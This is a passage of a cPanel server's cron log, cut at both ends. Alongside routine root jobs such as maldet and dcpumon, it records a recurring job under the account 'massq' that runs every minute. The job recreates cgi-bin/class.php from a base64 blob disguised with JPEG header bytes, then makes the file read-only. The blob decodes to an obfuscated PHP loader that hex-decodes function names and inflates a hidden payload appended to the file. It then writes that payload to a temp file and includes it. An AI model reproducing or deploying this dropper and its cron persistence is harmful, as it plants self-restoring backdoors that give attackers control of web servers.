GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:15:01 server CROND[11476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:15:01 server CROND[11477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:15:01 server CROND[11479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:16:01 server CROND[11584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:17:01 server CROND[11738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:18:01 server CROND[11798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:19:01 server CROND[11860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:20:01 server CROND[11917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 19:20:01 server CROND[11918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:20:01 server CROND[11920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:20:01 server CROND[11919]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 19:20:01 server CROND[11923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:21:01 server CROND[12038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:22:01 server CROND[12181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:23:01 server CROND[12252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:24:01 server CROND[12304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:25:01 server CROND[12367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:25:01 server CROND[12368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 19:25:01 server CROND[12369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 19:26:01 server CROND[12491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:27:01 server CROND[12555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 19:27:01 server CROND[12556]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 19:28:01 server CROND[12700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9